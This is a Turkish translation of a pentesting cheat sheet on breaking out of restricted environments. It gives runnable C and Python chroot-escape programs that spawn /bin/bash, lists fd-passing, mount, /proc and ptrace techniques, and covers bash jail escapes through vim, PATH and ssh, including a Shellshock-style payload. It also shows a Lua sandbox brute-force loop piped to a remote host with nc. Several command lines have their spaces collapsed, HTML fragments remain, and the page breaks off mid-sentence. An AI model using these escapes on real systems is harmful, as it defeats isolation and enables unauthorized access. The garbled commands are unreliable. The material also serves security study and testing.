"Shell" özelliği ile herhangi bir ikili dosyayı çalıştırıp çalıştıramayacağınızı kontrol edinhttps://gtfobins.github.io/.
Chroot Kaçışları
wikipedia'dan: Chroot mekanizması, yetkili (root) kullanıcılar tarafından kasıtlı müdahalelere karşı savunma yapmak için tasarlanmamıştır. Çoğu sistemde, chroot bağlamları düzgün bir şekilde yığılmamaktadır ve yeterli ayrıcalıklara sahip chroot edilmiş programlar çıkmak için ikinci bir chroot gerçekleştirebilir.
Genellikle bu, chroot içinde root olmanız gerektiği anlamına gelir.
chw00taracı, aşağıdaki senaryoları kötüye kullanmak ve chroot'dan kaçmak için oluşturulmuştur.
Root + CWD
Eğer bir chroot içinde root iseniz, başka bir chroot oluşturarak kaçabilirsiniz. Bunun nedeni, 2 chroot'un (Linux'ta) bir arada var olamayacağıdır, bu yüzden bir klasör oluşturup ardından o yeni klasörde yeni bir chroot oluşturursanız ve bunun dışında olursanız, artık yeni chroot'un dışında olacaksınız ve dolayısıyla FS'de olacaksınız.
Bu, genellikle chroot'un çalışma dizininizi belirtilen yere taşımadığı için olur, bu nedenle bir chroot oluşturabilirsiniz ama onun dışında olursunuz.
Genellikle bir chroot hapishanesinde chroot ikili dosyasını bulamazsınız, ancak bir ikili dosyayı derleyebilir, yükleyebilir ve çalıştırabilirsiniz:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>Python
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Bu, önceki duruma benzer, ancak bu durumda saldırgan mevcut dizine bir dosya tanımlayıcısı kaydediyor ve ardından yeni bir klasörde chroot oluşturuyor. Son olarak, chroot'un dışında o FD'yeerişimi olduğundan, ona erişiyor ve kaçıyor.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD, Unix Domain Sockets üzerinden geçirilebilir, bu yüzden:
* Bir çocuk süreç oluştur (fork)
* Ebeveyn ve çocuk arasında iletişim kurmak için UDS oluştur
* Çocuk süreçte farklı bir klasörde chroot çalıştır
* Ebeveyn süreçte, yeni çocuk süreç chroot'unun dışında bir klasörün FD'sini oluştur
* Bu FD'yi UDS kullanarak çocuk sürece geçir
* Çocuk süreç bu FD'ye chdir yapar ve çünkü bu chroot'un dışındadır, hapisten kaçacaktır
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Kök cihazı (/) chroot'un içindeki bir dizine monte et
* O dizine chroot yap
Bu Linux'ta mümkündür
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* procfs'i chroot'un içindeki bir dizine monte et (henüz değilse)
* Farklı bir root/cwd girişi olan bir pid arayın, örneğin: /proc/1/root
* O girişe chroot yap
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Bir Fork (çocuk proc) oluştur ve FS'de daha derin bir klasöre chroot yap ve oraya CD yap
* Ebeveyn süreçten, çocuk sürecin bulunduğu klasörü çocukların chroot'unun öncesindeki bir klasöre taşı
* Bu çocuk süreç kendini chroot'un dışında bulacaktır
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Bir zamanlar kullanıcılar kendi süreçlerini kendi süreçlerinden hata ayıklayabiliyordu... ama bu artık varsayılan olarak mümkün değil
* Yine de, mümkünse, bir sürece ptrace yapabilir ve içinde bir shellcode çalıştırabilirsiniz ([bu örneğe bakın](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Jails
### Enumeration
Hapishane hakkında bilgi al:
```bash
echo $SHELL
echo $PATH
env
export
pwd
PATH'i Değiştir
PATH ortam değişkenini değiştirebilir misiniz kontrol edin
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
vim Kullanarak
:setshell=/bin/sh:shell
Script oluştur
/bin/bash içeriği ile çalıştırılabilir bir dosya oluşturup oluşturamayacağınızı kontrol edin
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
SSH Üzerinden Bash Elde Etme
Eğer ssh üzerinden erişiyorsanız, bir bash shell'i çalıştırmak için bu hileyi kullanabilirsiniz:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Not edin ki, önceki tek satırlık komutu farklı bir lua ortamında her çalıştırdığınızda fonksiyonların sırası değişir. Bu nedenle, belirli bir fonksiyonu çalıştırmanız gerekiyorsa, farklı lua ortamlarını yükleyerek ve le kütüphanesinin ilk fonksiyonunu çağırarak bir kaba kuvvet saldırısı gerçekleştirebilirsiniz:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i inseq1000; doecho"for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end"|nc10.10.10.1010006|grep-A5"Code: char"; done
Etkileşimli lua shell alın: Eğer sınırlı bir lua shell içindeyseniz, yeni bir lua shell (ve umarım sınırsız) almak için şunu çağırabilirsiniz: